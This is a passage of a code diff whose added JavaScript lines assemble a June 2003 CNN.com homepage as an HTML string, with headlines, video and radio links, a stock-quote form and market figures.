+ s += ' <td rowspan="2" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344">';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- T2 -->';
+ s += '';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="285" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE TOP STORIES</b></span></td>';
+ s += ' <td width="59" class="cnnTabbedBoxTab" align="right" bgcolor="#336699"><a href="/userpicks"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/userpicks.gif" alt=" Hot Stories " width="59" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div style="padding:6px;padding-left:0px;">';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/mideast/index.html">7 dead in new Gaza strike</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/world/2003/06/11/cb.bush.roadmap.ap.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/sprj.irq.main/index.html">U.S. helicopter, jet down in Iraqi raid</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/iraq/2003/06/11/bw.iraq.oil.cnn.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/obit.brinkley/index.html">Television icon David Brinkley dead at 82</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/LAW/06/12/peterson.case/index.html">Peterson search warrants will be made public in July</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/asiapcf/east/06/12/okinawa.rape/index.html">U.S. Marine held in new Okinawa rape case</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat discovered for shuttle launches</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/television.sopranos.reut/index.html">"Soprano" Gandolfini shares his wealth with castmates</a><br></div>';
+ s += '<!--[[div class="cnnMainNewT2"]]&#8226;&nbsp;[[b]][[span style="color:#C00;"]]CNN[[/span]]Radio:[[/b]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]]Bush on Medicare[[/a]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/live.video.gif" alt="" width="61" height="14" vspace="0" hspace="2" align="absmiddle" border="0"]][[/a]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle"]][[br]][[/div]]--></div>';
+ s += '';
+ s += '<!-- /T2 -->';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '<!--include virtual="/.element/ssi/misc/1.0/war.zone.smmap.txt"-->';
+ s += '<!-- =========== CNN Radio/Video Box =========== -->';
+ s += '<!-- top line --> ';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /top line -->';
+ s += ' <table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += '<!-- left-side line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="30" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /left-side line --> ';
+ s += '<!-- CNNRadio cell -->';
+ s += ' <td width="114"><div class="cnn6pxPad">';
+ s += ' <span class="cnnBigPrint" style="color:#C00;font-weight:bold;">CNN</span><span class="cnnBigPrint" style="color:#000;font-weight:bold;">RADIO</span>';
+ s += '<div class="cnnMainNewT2"><a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")">Listen to latest updates</a><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle">';
+ s += '<div><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="5" hspace="0" vspace="0"></div>';
+ s += '<!--';
+ s += '[[span class="cnnFinePrint"]]sponsored by:[[/span]][[br]][[center]]';
+ s += '[[!~~#include virtual="/cnn_adspaces/home/war_in_iraq/sponsor.88x31.ad"~~]]';
+ s += ' [[/center]]';
+ s += '-->';
+ s += ' </div></td>';
+ s += '<!-- /CNNRadio cell --> ';
+ s += '<!-- center line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /center line --> ';
+ s += '<!-- video cell --> ';
+ s += ' <td width="227"><div class="cnn6pxPad">';
+ s += '<!-- video box --> ';
+ s += '<table width="215" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="144"><span class="cnnBigPrint" style="font-weight:bold;">VIDEO</span></td>';
+ s += ' <td width="6"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="6" height="1" hspace="0" vspace="0"></td>';
+ s += ' <td width="65"><a href="/video/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/more.video.blue.gif" alt="MORE VIDEO" width="62" height="11" hspace="0" vspace="0" border="0"></a></td></tr>';
+ s += ' <tr>';
+ s += ' <td width="215" colspan="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" hspace="0" vspace="0"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnnBodyText">';
+ s += ' Soldier broke dozens of hearts over e-mail<br>';
+ s += ' <img src="http://i.a.cnn.net/cnn/images/icons/premium.gif" align="middle" alt="premium content" width="9" height="11" hspace="0" vspace="1" border="0">&nbsp;<a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");" class="cnnVideoLink">PLAY VIDEO</a></div>';
+ s += ' </td>';
+ s += '<td width="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="3" height="1" hspace="0" vspace="0"></td> ';
+ s += ' <td width="65" align="right">';
+ s += ' <a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");"><img src="http://i.cnn.net/cnn/video/offbeat/2003/06/12/ms.casanova.col.vs.kndu.jpg" alt="" width="65" height="49" border="0" vspace="2" hspace="0"></a>';
+ s += ' </td></tr>';
+ s += '</table>';
+ s += ' <!-- /video box --> ';
+ s += ' </div></td>';
+ s += '<!-- /video cell --> ';
+ s += '<!-- right-side line --> ';
+ s += '<td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /right-side line --> ';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '<!-- bottom line -->';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /bottom line -->';
+ s += '<!-- =========== /CNN Radio/Video Box =========== -->';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '<div><img src="http://i.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="260" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>ON THE SCENE</b></span></td>';
+ s += ' <td width="84" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/law.gif" alt="more reports" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" border="0" cellpadding="5" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td style="padding-left:0px;"> <b>Jeffrey Toobin:</b> "It takes guts" for Peterson defense to subpoena judge over wiretap issue.';
+ s += '<a href="/2003/LAW/06/12/otsc.toobin/index.html">Full Story</a></td>';
+ s += '';
+ s += '<td width="65" align="right" style="padding-left:6px;"><a href="/2003/LAW/06/12/otsc.toobin/index.html"><img src="http://i.cnn.net/cnn/2003/LAW/06/12/otsc.toobin/tz.toobin.jpg" alt="image" width="65" height="49" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="bottom">';
+ s += ' <td>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="267" nowrap style="color: #c00; padding-left: 6px"><span class="cnnBigPrint" style="vertical-align: top"><b>BUSINESS</b></span>';
+ s += ' <a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/at_cnnmoney.gif" alt=" at CNN/Money " width="100" height="15" border="0"></a></td>';
+ s += ' <td width="77" align="right"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.news.blue.gif" alt=" Business News " width="77" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" style="border: solid 1px #ddd">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr>';
+ s += ' <td colspan="3"><span class="cnnMenuText"><b>STOCK/FUND QUOTES: </b></span></td>';
+ s += ' </tr><form action="http://qs.money.cnn.com/tq/stockquote" method="get" style="margin: 0px;">';
+ s += ' <tr>';
+ s += ' <td><span class="cnnFinePrint">enter symbol</span></td>';
+ s += ' <td><input type="text" name="symbols" size="7" maxlength="40" class="cnnMenuText" title="Enter stock/fund symbol or name to get a quote"></td>';
+ s += ' <td><input type="submit" value="GET" class="cnnNavButton"></td>';
+ s += ' </tr></form>';
+ s += ' </table>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr valign="top">';
+ s += ' <td><span class="cnnFinePrint">sponsored by:</span></td>';
+ s += ' <td align="right"><!--<a href="/money/news/specials/rebuild_iraq/"><img src="http://i.a.cnn.net/cnn/2003/images/04/17/money.box.gif" ALT="" width="150" height="31" HSPACE="0" VSPACE="0" border="0" align="left"></a>--><a href="http://ar.atwola.com/link/93103306/aol"><img src="http://ar.atwola.com/image/93103306/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' <td class="cnnMainMarketBox"> <table width="100%" border="0" cellpadding="4" cellspacing="0" summary="Market data from CNNmoney">';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td colspan="5"><span class="cnnMainMarketCell"><span class="cnnMenuText"><b><a href="/money/markets/">MARKETS:</a></b></span> <!-- 16:30:15 -->';
+ s += '';
+ s += '4:30pm ET, 6/12</span></td>';
+ s += ' </tr>';
+ s += ' <tr class="noTopBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/dow.html" title="Dow Jones Industrial Average">DJIA</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+13.30</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">9196.50</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.14%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/nasdaq.html" title="NASDAQ">NAS</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 7.60</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">1653.62</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.46%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/sandp.html" title="S&amp;P 500">S&amp;P</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 1.03</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">998.51</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.10%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '</td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="4"></td>';
+ s += ' </tr>';
+ s += ' <tr align="center" valign="bottom">';
+ s += ' <td width="280" bgcolor="#EEEEEE"><a href="/linkto/ftn.nytimes1.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.280x32.ny.times.gif" width="255" height="32" alt="" border="0"></a></td>';
+ s += '<td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344" bgcolor="#EEEEEE"><a href="/linkto/ftn.bn3.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.345x32.breaking.news.gif" width="340" height="32" alt="" border="0"></a></td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="10">';
+ s += ' <col width="483" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="267" align="left" valign="top">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td valign="top">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="132" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE REAL TV</b></span></td>';
+ s += ' <td width="106" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/SHOWBIZ"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.news.gif" alt="More Entertainment" border="0" width="102" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html">Go ahead, follow me</a><br>';
+ s += 'New reality series and the movie debut of "Idol" finalists';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html"><img src="http://i.a.cnn.net/cnn/2003/SHOWBIZ/06/11/eye.ent.voyeurs/tz.movies.gif" alt="Go ahead, follow me" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += '<!--include virtual="/.element/ssi/video/section_teases/topvideos_include.txt"-->';
+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="157" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>GIFT IDEAS</b></span></td>';
+ s += ' <td width="81" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/money"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/business.gif" alt="Business News" border="0" width="77" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;">CNN/Money: </span> <a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes">Fathers Day</a><br>';
+ s += 'Smaller is better --from digital cameras to iPod';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes"><img src="http://i.a.cnn.net/cnn/images/programming.boxes/tz.money.dads.day.watch.jpg" alt="Fathers Day" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="10" vspace="0" hspace="0"></div> ';
+ s += '<table width="483" border="0" cellspacing="0" cellpadding="0">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="9"><br></td>';
+ s += ' <td width="238"><a href="/US/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/us.gif" alt="U.S. News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/South/06/11/miami.rapist/index.html">Miami police link 4 rapes to serial rapist</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/mistaken.identity.ap/index.html">Woman mistaken for fugitive jailed</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/Northeast/06/12/woman.impaled.ap/index.html">Pregnant woman impaled on mic stand</a><br>';
+ s += ' </div></td>';
+ s += ' <td rowspan="7" width="7"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238"><a href="/WORLD/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/world.gif" alt="World News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/europe/06/12/nato.bases/index.html">NATO reshapes for new era</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/africa/06/12/congo.democratic/index.html">U.N. reviews Bunia peace force</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226;&nbsp;<span class="cnnBodyText" style="font-weight:bold;color:#900;">TIME.com: </span><a href="/time/magazine/article/0,9171,1101030616-457361,00.html?CNN=yes" target="new">Saddams curtain trail</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TECH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/technology.gif" alt="Sci-Tech News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/11/bus2.ptech.dvd.maker/index.html">Another reason to throw out your VCR</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/12/korea.samsung.reut/index.html">Flat screen TV prices dropping</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/SHOWBIZ/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.gif" alt="Entertainment News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/12/cnn.obrien/index.html">CNN hires Soledad OBrien for "AM"</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/11/batchelor.troubles.ap/index.html">Dating show star let go by law firm</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/ALLPOLITICS/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/politics.gif" alt="Politics News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/11/schwarzenegger.ap/index.html">Schwarzenegger on California politics</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/12/tax.credit.ap/index.html">House approves extension on child tax credit</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/law.gif" alt="Law News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/plaintiff.advances.ap/index.html">Court bars cash advances to plaintiffs</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/11/jackson.lawsuit.ap/index.html">Lawsuit against Jackson settled</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/HEALTH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/health.gif" alt="Health News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/monkeypox.ap/index.html">Monkeypox spreading person-to-person?</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/quick.xray.ap/index.html">A full body X-ray in 13 seconds</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/TECH/space/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/space.gif" alt="Space News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/science/06/12/hydrogen.ozone.ap/index.html">Hydrogen fuel may disturb ozone layer</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat found for shuttle launches</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TRAVEL/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/travel.gif" alt="Travel News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/DESTINATIONS/06/12/walk.across.america.ap/index.html">Walking America from coast to coast</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/06/11/bi.airlines.executives.reut/index.html">Airline execs not seeing sunny skies yet</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/EDUCATION/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/education.gif" alt="Education News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/12/arabs.prom.ap/index.html">Arab students seek prom balance</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/11/school.fundraising.ap/index.html">Public schools turn to upscale fundraising</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/si/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/sports.gif" alt="Sports News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += '&#8226;&nbsp;<a href="/cnnsi/golfonline/2003/us_open/news/2003/06/12/open_thursday_ap">Woods eyes third U.S. Open title</a><br>';
+ s += '&#8226;&nbsp;<a href="/cnnsi/basketball/news/2003/06/12/jordan_ruling_ap">Judge denies Jordan&#039;s former lover $5M payoff</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.gif" alt="Business News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/pf/saving/duppies/index.htm">Here come the "Duppies"</a><br>';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/technology/oracle/index.htm">Oracle beats estimates</a><br>';
+ s += ' </div></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" width="10" hspace="0" vspace="0" alt=""></td>';
+ s += ' <td valign="top">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' ';
+ s += '<table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="173" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>WATCH CNN TV</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/CNN/Programs/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><a href="/CNN/Programs/american.morning/"><img src="http://i.cnn.net/cnn/CNN/Programs/includes/showbox/images/2003/05/tz.hemmer.jpg" alt="American Morning, 7 a.m. ET" width="65" height="49" border="0" align="right"></a><a href="/CNN/Programs/american.morning/"><b>American Morning (7 a.m. ET):</b></a> Tomorrow, singer Carnie Wilson talks about her new book, "Im Still Hungry."';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!--';
+ s += '[[table width="267" border="0" cellpadding="0" cellspacing="0"]]';
